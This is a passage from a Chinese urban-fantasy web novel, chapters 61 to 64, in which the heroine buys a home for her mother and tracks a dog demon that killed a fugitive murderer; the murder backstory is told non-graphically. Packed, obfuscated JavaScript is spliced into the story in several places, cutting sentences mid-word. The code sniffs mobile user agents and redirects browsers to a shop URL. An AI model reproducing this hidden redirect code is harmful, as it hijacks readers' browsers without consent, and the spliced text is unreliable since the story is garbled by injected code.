话音刚落,安随便发觉自己再次掌握了主动权,此时的小凤凰正等着她回答,安随见状,摸了摸它身上的软毛,笑眯眯道:“我怎么舍得啊?你可是我的朋友啊。” 大王好像又不一样了。变来变去的大王还让它有些不适应,但这个时候的大王,身上散发的气息让它觉得好舒服,好想蹭。 小凤凰情不自禁地抱住了安随的大腿,在她裤管上蹭着。 安随被它蹭得心都快化了。 在确定那五妖没有危害性后,白泽便在安随的央求下去了办事处和几人说了下那五妖的情况,其他几人听到消息也赶了回来,得知这个消息后也算松了一口气。 没有威胁就好,这样,风眠他们也不用一直待在这里了。 当天晚上他们便坐上了去滇省的飞机,那里据说也出现了剧烈的能量波动,刘仕诚感觉很不好,便让他们去看看。 而安随下午的时候便约了个顺风车回宁市。 和司机提前说好,安随便带小凤凰上了车,小凤凰很爱干净,安随也经常给它洗,所以它的身上永远香喷喷的,司机自然没什么意见。 从锦城到宁市坐顺风车要三个小时的路程,到宁市的时候,已经是下午五点了。 从宁市市区她还要倒大巴,好在大巴要七点才收班,安随便坐上了大巴往家的方向驶去。 安随坐在靠窗的位置,看着窗外一路倒退的风景,她突然觉得有些近乡情怯,离家越近,那种感觉越强。 她已经几个月没有回家了,早上的时候,她便给妈妈打电话说今天要回来,这会儿她已经做好了饭等她回家了吧。也不知道她的腿怎么样了,她现在有钱了,每个月都可以给她寄回去,她也不用那么辛苦地出去给人缝补衣裳了。 也该买套房子了,老是住在姨妈家也不好,毕竟表哥也到了谈婚论嫁的年纪,家里却没有多余的房间给他做婚房。 安随想了很多,她甚至想着把手里的钱都取出来,这次回来就直接把房子定下来。 安随一路想着事,车子摇摇晃晃,晃得她想睡觉。她怀里的小凤凰已经睡着了,甚至还砸吧了下嘴。 没有烦恼真好。 大巴开了一个小时才到安随的老家安宁镇,这个镇子不大,但人口外流严重,街上冷冷清清的,这会儿到了饭点,大家都回家吃饭了,街上更是一个行人都看不到。 下了车以后,安随看着这个她从小长到大的镇子,一时感慨万千。 几个月不见,它依然在那里等着,等着她回来。 安随径直往姨妈家走去。 姨妈家就在菜市场附近,菜市场不仅卖菜,只要这里的人能用上的,都在卖,赵素兰便在这里有个摊位。只不过这会儿早就散场了,菜市场也冷冷清清的。安随穿过这片菜市场,才到了姨妈家所在的居民楼。 他们早就得到了她要回来的休息,早就准备好了一桌子菜,等安随敲门进屋时,一家人坐得整整齐齐,连在市里打工的表哥也回来了。 安随眼眶一下子就湿了。 真好,不管她在外面遇到什么,家里永远会有人等着她。 “小随啊,你终于回来了,你妈都在我面前念叨了好几遍了,说你怎么还不回来?我跟她说你五点到市里,到咱们家怎么也得六点半了,让她别着急,她非不信,一直念叨一直念叨,我耳朵都起茧子了。”姨妈赵素心故作烦恼道。 赵素兰听了也有些不好意思:“我这不是担心小随吗?” “回来了就好,快吃饭吧,我都快饿死了。”表哥方杰哀嚎道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968022|187740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “饿死鬼投胎的啊?这么会儿都等不得。”赵素心瞪了他一眼。 “我都加了好几天班了,中午饭都没怎么吃就赶回来了。” “那快吃吧,让你们久等了。”安随连忙道,随后去洗手间洗了手出来坐在赵素兰旁边。 一家人总算开始动筷。 饭是赵素心做的,赵素兰帮着摘菜,饭桌上只有四个人,姑父去滇省打工,一年也回不来两次。因此平常这个家里只有赵素兰两姐妹相互照应,方杰在市里打工,一个月回来一次。 赵素心的手艺很好,四人吃得肚子圆滚滚的,安随吃完就瘫在了沙发上,实在是吃得太撑了,不想动。 等其他三人吃完,安随便起来帮着收拾碗筷,洗碗等活她也包了。 吃饱喝足后,安随便推着赵素兰去楼下散步。 姨妈所在的小区不大,但绿化还不错,平常下楼还有转的地方,也有一些老太太在门口跳广场舞,生活气息很浓。 安随给赵素兰买的轮椅比之前那个好用多了,不管是防震、静音、舒服度等方面,都比先前的不知道好了多少,安随很满意。 和母亲在小区里散步,两人有一搭没一搭地聊着,聊着她在学校里的见闻,聊她的直播,聊她的学习,赵素兰一直认真地听着,偶尔会问几句,但大多时候都是安随在讲。 讲着讲着,安随突然问道:“妈,安宁镇最近有没有奇怪的事情发生啊?” “奇怪的事情?怎么了?你是看到什么新闻了吗?”赵素兰不知道她为什么这么问,但她印象里并没有听到什么八卦,“回去问问你姨妈呢,她在医院工作,接触的人要多点。” “好。” “我这次回来想定套房子。” “买房子?安宁镇一套房子怎么也要二三十万,我们哪里有那么多钱?”赵素兰都惊了,这孩子的思维也太跳跃了把,每个想法都让她有点跟不上。 “我这几个月做直播,手里还有点钱,我想的是贷款先付个首付,至少定套房子在那,不用一直住在姨妈家。” 赵素兰听到这里,沉默了下。 她何尝又不想搬出去住,这些年已经够麻烦姐姐一家了,只是她能力有限,又要供安随上学,手上根本没什么积蓄,有心而无力。 “那明天去看看吧。”贷款的话,好像也没那么难,她替人缝补,每个月也能挣两三千块钱,除去给安随的生活费和给姐姐的伙食费,她自己手里还能存点。 这么说定以后,心头的那块大石也跟着落了下去。 回去以后,安随便问赵素心最近安宁镇或者宁市有没有奇怪的事情发生。 这也是安随担心的问题,妖怪入侵并不止一个城市,宁市很有可能也有妖怪出没,但这里并没有特事局驻在这里的办事处,也不知道平时遇到这种事该怎么处理。 赵素心一听就来劲了:“我跟你们讲,我在医院打扫卫生的时候,听到别人讲,说是前段时间宁市出了个命案,有个人被动物撕咬得面目全非,根本就看不清人样,后来还是通过DNA比对,才确定了那人的身份,你们猜是谁?” 赵素心讲故事一套一套的,众人被她提起了兴趣,赵素兰问道:“是谁啊?” “他竟然是个潜逃两年的杀人犯。” 61. 第 61 章 “杀人犯?这是遭报应了吧,跑了那么多年终于被抓到了。”赵素兰感慨道。 “知道是被什么动物咬的吗?”安随好奇的是这个。 “看着牙印应该是被狗咬的,老天开眼啊,总算把那天杀的给收走了。”赵素心说着一阵唏嘘。 那个杀人犯的事情他们也听说过,据说两年前,有个女孩子在放学路上被人拉进了个没有监控的死胡同里□□了,等被人发现的时候人已经没有了呼吸。她的死状非常凄惨,□□被人拿刀划得根本看不清原本的样貌,体内也没有残留□□,因此没办法提取他的DNA。女孩身上的指纹也被抹得一干二净,这是一起有预谋的奸杀案,且凶手有很强的反侦察能力。 警方走访调查了女孩的社会关系,发现她平时和周围的人都相处很好,人也很开朗,没有和谁红过脸。 那条胡同没有居民楼,因此排除了有周围居民作案的嫌疑,他们也查看了离胡同最近的监控,也没发现什么可疑的人员。警方怀疑是对年轻女孩的无差别袭击,甚至还派了名女警作饵,但凶手再也没有出现过。 案子一度成了悬案。 两年过去,案子依然没破,网上的舆论发酵得厉害,指责警方不作为。但警方也派出了大量人力,通过走访调查,跨省查看其他奸杀案的卷宗,寻找相同手法的凶手,却依然一无所获,警方头都快秃了。 怎么会有人好似凭空消失了一般?没有留下一点痕迹。 事情的转机出现在最近,他们发现了有个可疑的人员,之所以可疑,是因为他总会在那个胡同口停留张望。经过那件事后,胡同里面也安装了摄像头,因此对这里发生的一切都了如指掌。而那人似乎知道这里安了摄像头,下意识地会找监控的位置。 这便引起了警方的注意。一个正常人是不会有意无意地注意监控的位置,除非,他知道这里安了监控,且心里有鬼。 经过查找,便扒出了这个人的身份。 竟然是那个女孩的邻居。 熟人作案最是容易隐藏,而且这人成绩优异,从小学就开始跳级,和女孩一样大,却已经上大学了,而女孩按照年纪,现在应该在上高三。 这也是警方之前没有注意到的地方,因为那个男人案发时正在外地读大学,并没有回老家的痕迹。 男人的嫌疑越来越大,警方上门去询问,男人却似乎早已预料跑了,可他们明明没有任何打草惊蛇的动作,且是便衣上门,男人怎么会发现呢?这是警方百思不得其解的地方,随后他们很快召集警力去追寻那人,甚至还往各大车站都调派了人手,一旦发现了那人的踪迹,直接抓起来。 可当警方寻着那人的踪迹追过去时,却在一个废弃的居民楼里,发现了一具被咬得面目全非的尸体,看那穿着初步确定是凶手,再经过与凶手的父亲比对过DNA后,才终于确定男人的身份。 当警方说出男人就是当初杀害女孩的凶手时,男人的父母激动地大骂警方,说他们找个替死鬼结案,不作为、乱作为,甚至打市长热线投诉他们。 安随惊讶于赵素心居然知道那么多内幕,赵素心却道:“整个过程警方已经召开了发布会,把事情的经过都讲清楚了。” “那他们没说为什么确定凶手就是那个男人吗?” “最新的一组证据里,说是他们曾经在女孩的指甲里发现了人体组织,只是当初在DNA库里没有发现这个DNA的存在,且男孩当时有充足的不在场证明,这才让他成了漏网之鱼。” 如此过后,凶手父母虽然不服,却在铁证下无法辩驳,这起悬案才终于告破。只是,咬死凶手的那条狗却一直没有找到。 安随听着,却觉得这一幕有点耳熟,随后突然想到,这不就是刘仕诚所说的他们最初发现妖怪的时候发生的一幕吗? 如果真是这样的话,说明这里已经有妖怪入侵了。 只是看到现在一片平和,又觉得好像离妖怪很远,也不知道如今到底是个什么状况。 安随决定过几天去市里看看。 几人聊了许久,一直快到十二点,安随才和母亲进了屋准备睡觉。 她长大了以后很少在姨妈家居住,读书的时候基本上都住校,放假便出去打暑期工,离她上次在这里住已经是半年前的事了。 再次和妈妈躺在一起,安随只觉得那颗晃荡个不停的心,也跟着有了落脚点。 第二天早上的时候,安随便迫不及待地推着赵素兰去了镇上的一个新小区的售楼部。 售楼部没什么人,似乎还太早了,有两个销售见到两人进来的时候,眼睛都亮了,其中一人跟看到肉一般,连忙将人迎了进去。 “姐姐,你们看房子啊,你们真有眼光,我们这的房子地段最好,价格这几天正好在搞活动,也不贵,办贷款也快……” 销售巴拉巴拉讲了一堆,安随听着其中的关键点,最后便决定买这里。签认购书的时候,销售手都是抖的,妈呀,好久没见那么爽快的客户了,关键是对方一个坐轮椅,一个看着还在读书,穿着也很朴素,一看就不是有钱人的家庭,本以为今天又要浪费口舌了,没想到对方居然那么爽快地便答应了,她这是遇到活菩萨了啊。 一旁的另外一名销售脸都绿了,懊恼自己刚才跑慢了点。 房子九十多平米,两室一厅一卫,总价二十五万多,首付十万的话,办商贷三十年,每个月还六百多就可以。 销售噼里啪啦地拿着计算器算着,却听得一直没怎么出声的女孩说:“不用了,我们全款付。” “啊……你们确定吗?”销售没想到她那么爽快,毕竟这个小镇上的房子并不好卖,很多都选择去城里买房,虽然房子不贵,但如此爽快还付全款的人真的少。 “确定。” 赵素兰一脸震惊地看着安随:“小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16974958|187740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随,我们哪里那么多钱付全款啊?那可是二十多万啊,昨天你不是还说贷款吗?” “那不是怕您不同意吗?” “你这孩子,真的是……那么大事怎么都不和我商量一下啊,自己就做决定了,不行,我们还是贷款吧。”赵素兰还是心疼钱,那可是二十多万啊,这辈子让她存她也存不了那么多。 安随却并不想再耗下去了,当即决定全款买,只不过现在只需付一部分钱,等正式合同签下来后再付尾款也不迟。 从售房部出来以后,赵素兰还是觉得有些不真实,甚至追问安随:“小随,你老实告诉我,你那么多钱哪来的?真的是直播赚的吗?不会做了什么坏事吧?” 安随有些哭笑不得:“妈,我是什么样的人您还不了解吗?我骗您做什么?” 赵素兰叹了声气:“你这孩子从小就有主意,不需要我操心,是当妈的拖累你了。” 安随眼眶微红:“您别这么说,您养育我那么大,我这辈子都报答不完。” 赵素兰眼眶也跟着湿润了。 她二十八岁丧夫,独自一人把安随拉扯大,中间又遭遇车祸双腿残疾,这些年为了她们母子两,太多人伸出援助之手了,她根本报答不完,她从未想过让安随报答什么,因为她本就是她身上掉下来的一块肉,或许,当妈的都能体会那种心情吧。 “小随啊,你要记得曾经帮助过我们的人啊,不能忘本。” “我知道的。”安随点点头。 她从未忘记,这一路走来,遇到的好心人。 姨妈一家,一直给抚养费的小姐姐,帮她申请助学金的老师、社会各界的救助,看她直播的网友,她的同学们、老师们,特事局的小伙伴,几只可爱的小妖,以及带给她希望的白泽…… 太多太多了,她都快数不过来了。 她无以为报,只有靠这凡人之躯,守护这方世界的安宁。 回去以后,赵素心听到两人出去一趟就全款买了套房都惊呆了:“你们哪来的那么多钱啊?还全款?贷款也好啊,手里留点钱,你妈后面还要动手术呢。” 安随却道:“放心,留着呢。”这点算盘她还是会打的,如果手里没有足够的钱,她也不会做出这个决定。 “这里住着不挺好的吗?怎么想着买房子啊,你妈住在这里我平时还能照顾她,她搬出去了我们串门都没那么方便了。”赵素心叹道。 “杜医生这个月底就会回来,我准备到时候带我妈去锦城一趟,他的医术很好,我妈很快就能站起来了。” “那样再好不过了。” 几人又聊了会儿,方杰说自己明天就要回市里,正好安随便可以和他一起去逛逛。 方杰在城里一家饭店上班,是那里的厨师,休息时间不定,这次回来也是把假提前休了。 第二天一早,方杰便开着一辆二手面包车,载着安随往市里进发。 62. 第 62 章 安随有一段时间没来市里了,之前还是打暑期工的时候,她打工的地方是在一家快餐店,按小时结工钱,工作时间比较自由,干得多挣得多。安随因为要攒学费,所以每天都是干十个小时以上,加上母亲挣的,她才攒够了几个月的生活费。 路过那家快餐店的时候,安随发现那里已经换了个招牌了,现在是个奶茶店,店里没什么人,生意也一般,和先前的快餐店差不多。 方杰就在旁边的饭店上班,那饭店生意却很好,店面也很大,方杰是中餐师傅,手艺也不错,在这家店也干了十来年了,安随的暑期工就是他帮忙找的。 方杰将安随送到饭店门口,便进去上班了,店里生意忙不过来,老板已经打电话催了几次了。 安随见大家都在忙,便识趣地没有进去,而是到附近转了转。 旁边是家茶馆,有几个老头坐在里面喝茶,隐约听到他们在聊那个杀人犯被狗咬死的事,大家都在说老天开眼诸如此类的话,对那杀人犯恨之入骨。 安随听到关键的地方,又不好一直站着,于是点了壶茶水在旁边坐着。 “我儿子在公安局上班,听到说那个男人被狗咬得脸上都没什么肉了,全是血窟窿,这狗还挺有灵性,知道谁好谁坏。”一个头发花白的男人抿了口茶,慢悠悠地说着。 “要我说这狗不会是那女孩投胎转世回来报仇的吧,不然怎么专逮着那男人咬,不咬其他人呢?”另外一名光头老人煞有其事道。 “呸呸呸——越扯越远了,什么投胎转世,那都是骗人的,你别被忽悠了啊,我跟你讲,我儿子说他们最近在追踪一个诈骗团伙,专门骗老人钱,让我注意点,你也别轻信那些诈骗电话诈骗短信啊,别把养老金都给骗没了。” “你个乌鸦嘴,就不能盼我点好?”光头老人一听有点不高兴。 花白男人见他变脸,也不好再说下去,反正他提醒了,要真被骗可不关他的事。 之后两人便没再说那个案子的事了,安随有心想知道后续,听说老人儿子在公安局上班,便忍不住道:“老爷爷,您能让我见见您儿子吗?我有很重要的事情要和他说。” 花白老人闻言扭过头来,上下打量了安随一眼,随后一脸警惕地看着她:“你是?” “我叫安随,是安宁镇上的人。”说着,她又楚楚可怜地看着他:“老爷爷可以吗?” 一旁的光头老人见状,心里不忍,便劝道:“我看小姑娘确实着急,你就和你儿子说一声呗,相见也是种缘分。” 花白老人气得吹胡子瞪眼:“就你烂好人,什么事都往身上揽,我答应了吗?你就替我做决定,我儿子天天忙得脚不沾地,哪有时间搭理这些不相干的人?” 光头老人被他骂得脸色都变了。这老匹夫跟个炸药包似的,一点就炸,也就他受得了他的脾气,换作其他人早就和他断交了。 光头老人不吭声了。 安随见状,连忙道:“我不是骗子,我是真有事找他。” “不见,他忙着呢。”花白老人说完起身,拂袖而去。 光头老人见着花白老人远去,也没去追,而是对安随歉意一笑:“小姑娘,不好意思啊,那老头就是这脾气,你有什么要急的事要找何耀啊?可以和我说说吗?” 何耀应该就是花白老人的儿子,安随在心里记下了名字,这才道:“我刚才听你们聊起狗咬人的事件,我猜到一点原因,所以想见见他,应证一下自己的想法,或许对他们的案子有用。” “真的吗?”光头老人一听来了点兴趣,他见安随面善,而且年龄也不大,看着不像骗子。而且哪有那么傻的骗子把自己往公安局的人面前送啊,这不是自寻死路吗? 他还是愿意相信安随说的,姑且就联系一下何耀,如果真能帮上他的忙,也算是做了件好事。 光头老人想着,便给何耀打了个电话。 “何耀啊,你在忙吗?” 市公安局。 何耀所在部门正激烈地讨论着那起事件,事情已经过去三天,他们还是没有找到那个咬死人的狗,仿佛人间蒸发了一般。他们看过监控,那狗就是突然扑到男人身上,然后大块大块的肉被它撕了下来,耳边还能听到男人撕心裂肺的声音。 看监控的民警也看得将脸瞥向一边,实在是那画面太血腥了,让人不忍直视,偏偏他们还要一遍又一遍地看监控,就是为了记住那狗的模样,以及找出疑点,可惜不管看了多久,他们都一无所获。 男人的父母在网上发动舆论战,将自己儿子描述成一个受害者,声泪俱下地控诉若不是他们儿子被警方追赶,他怎么会被恶狗咬死?他们并没有否认男人两年前的罪行,毕竟在绝对的证据前,他们否认也没用,于是,他们把舆论压向了警方的失责,让一条年轻的生命就此陨落。 网上的舆论发酵越来越严重,若事情再没有进展,警方的威信以及能力都会被质疑,一旦失去公信力,他们以后的日子只会越来越难熬。 就在焦头烂额时,何耀接到了王叔的电话。 王叔很少给他打电话,和他爸经常约着一起喝茶,何耀还以为是不是父亲出了什么事,连忙接了起来:“王叔。” “何耀啊,你在忙吗?” 何耀看了一眼都在忙碌的几个身影:“有点,怎么了?我爸和您一块吗?” “他刚走。”王全撇了撇嘴,随后道,“我打电话是有另外一个事要和你说,我刚才遇到一个小妹妹,她说有要紧的事要找你,是关于那起狗咬人事件的。” “她碰到那条狗了?”何耀心里一惊,连忙问道。 王全转述了何耀的话,安随摇头,随后示意王全看免提,对电话那头的人说道:“何警官,我想看看那个男人的伤口,或许能发现一点线索。” 何耀一听,顿时变得警惕起来:“你想看 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“没关系。”安随看了眼王全,见他面色红润,额头饱满,一看便是有福之相,便不由道,“老爷爷,您的家庭一定很幸福。” 王全一听,笑呵呵道:“小姑娘眼光不错,我确实家庭还算可以,家庭圆满,父母健在,儿女都有出息,和老伴都没病没灾,不拖累他们。” 安随凝神,目光聚集在王全身上的某一处,随后道:“您还是抽空去医院做个全身检查吧。” “啊?我怎么了?没有觉得哪里不舒服啊。”王全不知道她为什么这么说,但看她的表情,不似作假,心里便起了个疙瘩,总觉得哪都不舒服,于是便决定下午就去医院检查一下。想了想又觉得下午没有专家号,准备明天上午去。 王全这么想着的时候,何耀的电话打了过来:“王叔,麻烦让刚才的那个女孩接下电话。” 王全闻言讲电话递给了安随。 “小妹妹,你下午两点半有空没?可以来趟市公安局吗?我们见面再详谈。” 安随听这话便知道他已经知道了特事局的个什么部门,因此欣然应允。 两人交换了电话号码,王全见何耀信了他的话,心里也很高兴。 他就说嘛,他看人的眼光不会错的。 这个小妹妹让她去医院看看,也不知道她是怎么看出来的,或许是医学生也不一定。 王全也没细问,反正去检查一下也是好的,他也该做体检了。 两人又聊了会儿,王全便准备回去了,临走时,两人又交换了联系方式,还加了微信,还别说,王全的微信玩得还挺6,不像一般的老人只会发语音。 告别王全后,安随便又去附近逛了逛,中午的时候随便找了家面馆吃了碗面,又晃到两点多,这才往市公安局的方向而去。 63. 第 63 章 到了约定时间,门口早已有人在那等候,他穿着一身警服,眉宇间尽显威严。 安随问:“是何警官吗?” “我是。”在安随打量何耀的时候,何耀也在打量着他。 他没想到上级电话里说的特事局的人竟然那么年轻。从上级的口中得知,确实有特事局的存在,只不过这个部门专门处理特殊事务以及一切不能用常理来解释的事情。何耀听得云里雾里,上级却不再多说了,只说让他好好招待特事局的人,她提的要求都尽量满足便是。 两人寒暄了一阵,何耀便引着安随进了自己的办公室,路过大办公室的时候,还有人好奇地看了安随一眼,却没有人多问。 安随坐下,接过何耀倒的茶喝着。 “尝尝这茶,是我们这的特产,挺鲜嫩,很多外地的人都喜欢喝这个。”何耀介绍道。 安随却道:“我知道,我是宁市人。” “是吗?”何耀很惊讶,他没想到宁市这一个小小的四线城市,居然也有特事局的人,是他的消息太闭塞了吗? “我是安宁镇人,刚放寒假回来。” “你还在上学啊?在哪里上?” “C大。” 何耀听了心里最后一点防备也被打消了。 “好,那我们现在进入正题吧,安随,你想和我说什么?”何随一说到正事,整个气场都变了,如果先前还有点随性,那么此刻的他看起来严肃了许多,似乎把安随当成了犯人来审。 安随敏锐地察觉到了他气场的变化,不过她可以理解成他的敬业,倒没觉得有什么,于是便将自己的诉求说了出来。 “我想看到死者的尸体,才能确认一些事情,否则无法保证我接下来要说的话的真实性。” 何耀看着她,过了会儿才道:“我只能给你看照片,尸体保存在冷库里,有专人看管,闲杂人等是不允许进去的。” 安随想了想,便同意了,虽然她不知道从照片上能不能看出点什么。 何耀出去了,不一会儿便拿进来一个袋子,里面是几组照片,有男人的,还有周围环境的,以及他们在现场发现的一些可疑物。 安随戴上手套,拿过照片一张一张地看着,从照片上可以看到,男人的整张脸已经被咬得面目全非,甚至被咬掉了半边脸,而另外一边脸也看不出原来的模样。 安随问:“你们猜这是狗咬的痕迹?” “那一带比较荒凉,有废弃建筑物,经常有野狗出没,而且我们从监控里看到,确实是一条黑色的狗扑向了他。我们把附近的区域都搜查了遍,却没有看到那条黑狗的踪影。” “狗的咬合力有那么强吗?居然能把人的半张脸都咬下来,它的口腔也没那么大,一口根本咬不完。” “你的意思是,那不是狗?可从监控里看到确实是狗啊,不会错的。”何耀非常确定,因为那个监控他看了不下二十遍,其他人也看了很多遍,没有人怀疑过那不是一条狗。 安随:“我想看下那个监控视频。” 何耀闻言便带着安随去了另外一间办公室,将拷回来的视频放给安随看。 视频里,男人慌不择路地往前跑,他的速度非常快,却不小心闯入了那栋废弃楼外,前方没了路,他没有丝毫犹豫地跑进了那栋废弃楼。男人的身影消失在了视频里,过了近两分钟的时间,便听见了男人的尖叫声,随后他的声音再次出现在了视频里,而他身后事那条黑色的狗,对他紧追不舍。 他慌不择路地想要往来时的路跑,似想到什么又折转方向往另外一个方向,也就犹豫的这几秒的时间,他便被飞扑过来的黑狗扑倒在地,随后便响起了他撕心裂肺的惨叫声。 等警察来到现场的时候,那黑狗抬头看了他们一眼,随后飞快地蹿走了。而警察分成两路,几个人在现场查看男人的情况,另外几个去追黑狗。 安随看到黑狗望向警察的方向时,她点了暂停。 那双眼睛不似普通的狗,仿佛里面有着万千思绪,它的身躯也比普通的狗要高大,虽然和中华田园犬很像,安随却还是从它的眼神里看出了不一样。 此刻的安随几乎已经确定,这是一只犬妖。只是那犬妖对男人突然发起攻击,也不知是被男人惊扰了还是其他原因。 当务之急便是要找到犬妖。 安随凝神,目光望向窗外,无数画面开始在眼前闪过,方圆二十公里的画面纷纷出现在眼前。宁市并不大,方圆二十公里便已到了郊外,城市的整个面貌都展示在安随面前。她不放过任何一个出现在城市各个角落的黑狗,始终没有找到那双相似的眼睛。 “它没在城里。”过了会儿,安随才道。 而何耀突然发现安随望着窗外一动不动,整个人仿佛被定住了一般,他没有出言打扰,而是静静地等着。直到安随说那条黑狗已经不在城里时,他的心里已经惊起了滔天海浪。 她到底是怎么发现的?不会是在随口胡谗吧? 毕竟她说的太绝对了,而且只在很短的时间里便下了判断,换做任何一个人都不会那么轻易相信的。他甚至在想上级不会是忽悠他的吧,这个特事局到底是什么机构?也没个身份证明什么的,眼前的这个女孩真的来自那里吗? 安随察觉到何耀的气场变了,甚至对她产生了一丝怀疑,只是她这确实没有能证明自己身份的东西,于是道:“或许你不相信我说的话,但我可以打个电话,你便能相信了。” 安随说着,便给刘仕诚打了个电话过去。 “刘叔叔,我是安随。” “安随啊,你找我有什么事吗?难得给我打电话。”刘仕诚笑呵呵道。 “我回老家宁市了,这里我也发现了一个能量体,但当地的人似乎没有遇到过,不知道有这东西的存在,所以有些事做起来受限制,你有办法证明我的身份吗?” 刘仕诚一听,便猜到了她遇到了棘手的事情。因着华国的城市太多,而能力者的人数很少,能收编来用的更是少之又少。因此他们只能满足省会城市的需求,其他地级市几乎没有特事局的人驻守。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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张文:“……你不管这些,你只要知道她很重要就知道了,特事局的人来了宁市,说明这里有了非正常事件的发生,这起案子绝没有那么简单,不是你我能解决的。” “好的,我知道了。” 何耀挂断电话后,他神色复杂地走向安随,一副欲言又止的样子。 安随却道:“确定我的身份了吗?确定了的话,我们便继续吧。” “那条黑狗不在城区,应该是逃到了郊外,所以我要去郊外看一看,你要和我一块去吗?” 安随说完,却没有得到任何回应,抬头便见何耀还看着她。她敲了敲桌子,何耀这才回过神来:“好。” 两人驱车赶往郊外。一路上,安随都在凝神确认着犬妖的踪迹,这个过程非常消耗灵力,到了后面的时候,安随便觉得自己额头都出汗了,头也有些痛,这是过度消耗灵力的表现,安随不得不停下来,闭目养神。 何耀开着车,等红绿灯的时候看到安随靠在副驾驶上闭目养神,也没有出言打扰。此刻的她看着疲惫不堪,脸上的精气神肉眼可见地消耗掉了。 她到底经历了什么?只不过短短的一段路程,整个人的气场却完全变了。 车子再次发动,何耀四平八稳地开着车,一直出了城,到了近郊,他这才找了一块能停车的地方停了下来。 他没有叫醒安随,下了车在空地上站着,将空间留给了安随。 64. 第 64 章 安随在车上休息了会儿,才缓过来。 她发现她的能力也不是全无缺陷,每当她过度使用能力时,便会消耗大量灵力,但也恢复得快,因为这个城市的天空,也随时充满了灵力,只需要稍作休息便好。 安随下了车,发现这里是一块空地,前方的视野很开阔,能看到远处的高耸林立的城市建筑,近处便是一些聚集在一起的村落。 微风拂来,安随不觉得冷,反而扫去了她一身的疲惫。 何耀见她走过来,碾去了半截烟蒂,随后道:“休息好了?” “嗯。”安随再次凝神。 这里的范围刚好能覆盖城市与周边的二十公里,人烟与城市里的金属结合在一起,构成了一副冰冷而又没有完全失去温度的画卷。 一处山洞里,一只黑狗正刨着地面,从里面刨出了一个黑色的包裹,它双爪灵活地将包裹打开,从里面露出来一截黑乎乎的东西,仔细一看竟然是一块已经发黑的肉。 只见黑狗嫌弃地将肉扔到一边,最后又想到什么一般,把肉重新包了起来。 它出了山洞,叼着那块肉随后朝一个的方向进发。 安随收回视线,随后对何耀说道:“走。” 何耀不知道要去哪,只能听她的指令往前开着。 车子一路平衡地行驶在绕城路上,最后拐了个弯,进了一条小路。这条小路只有刚才的路一半宽,是双车道,一路蜿蜒,最后竟在一处墓园停下。 两人下了车,随后进了墓园。路过大门的时候,被守墓的老人拦住让登记,两人依言登记后才被放行。 墓园里立着无数墓碑,看着竟有些阴森森的,这里被打扫得很干净,想来每天都有人来打扫。 何耀不由问道:“那条狗跑到这里面来了吗?跑得真够远的。” 可不是吗?这里离市区足足有半个小时的车程,也难怪他们找不到它的踪影。 安随没有说话,而是依着方向往里走去。 一路上无数墓碑在眼前闪过,有的还放着新鲜的花束和水果,显然是刚才被祭拜过。 前方,出现了个小黑点,越走越近,那黑点被放大,也看出了那黑点的样子,赫然就是条黑狗。 见真找到了黑狗,何耀已经震惊得不知道说什么了。 没想到安随这么快就找到了它的踪迹,到底是怎么做到的? 两人站在黑狗身后,看着它蹲坐在那里一动不动。 它的面前是一块墓碑,墓碑上的照片是个很年轻的女孩,看着不到二十岁,她笑起来很好看,似乎这冬日的阴雨也能被她的笑容赶走。 何耀看着那张照片,一时震住了。 “她是两年前那起奸杀案的受害者,这狗怎么会……” 怎么会找到这里呢?看着不像是毫无章法,种种迹象看来,它认识这个女孩。 墓碑下方摆放着一个塑料袋,里面装着一坨黑乎乎的东西,两人离得不远,甚至能闻到里面散发出的阵阵恶臭。 何耀下意识地捂住了鼻子。 这狗不知道拿了什么东西来祭拜女孩,那么臭。 只是,这幅画面不免太过诡异,一只狗学人祭拜人,本就很诡异。 黑狗听到后面的动静,扭过身来,恶狠狠地瞪着两人,嘴里发出呜呜的声音,似乎随时都会向两人扑来。 那双眼睛,和监控里的一模一样。 安随没有说话,就这么站在那里,定定地看着它。 犬妖似乎发现了她的不寻常,先前的凶狠瞬间收起,随后变成了委屈。 它朝安随缓缓走来,何耀下意识地挡在安随前面,却见黑狗瞬间变了副面孔,朝他吠了两声。 安随示意他没事,随后也向那黑狗走去。 一人一狗在中间交汇,便见那黑狗十分亲昵地蹭着安随的裤腿。安随没有动,任凭它蹭着。 过了许久,犬妖才道:“你身上的气息让我感觉好舒服,我好喜欢。” “你喜欢就好。” 而身后的何耀却惊呆了,是他出现了幻听吗?他刚才好像听到那只狗说话了,安随还回应了它? 犬妖抬起头望向何耀,问安随:“他是谁?”他身上的气息没有什么特别的,和他闻过的成千上万的人身上没什么区别。 这是一个普通人类。 “一个警察。” 犬妖不知道警察是干嘛的,但它没把他放在眼里,它现在觉醒了力量,普通人根本不够他咬一口。 一人一狗就这么静静地立着,何耀看了许久,不敢出声打破这诡异的一幕。 犬妖终于蹭够了,发出了一阵满足的叹息。 它许久未感受到这种温暖了。 “你认识这个女孩吗?”安随见它起身,这才出言问道。 “她曾经救过我,在车轮底下,还送我去医院包扎,伤好以后还每天给我送饭,让我不至于饿死。”犬妖缓缓地诉说着。 “所以,你不是从妖界过来的?”安随问道。 “妖界是什么?”犬妖不解。 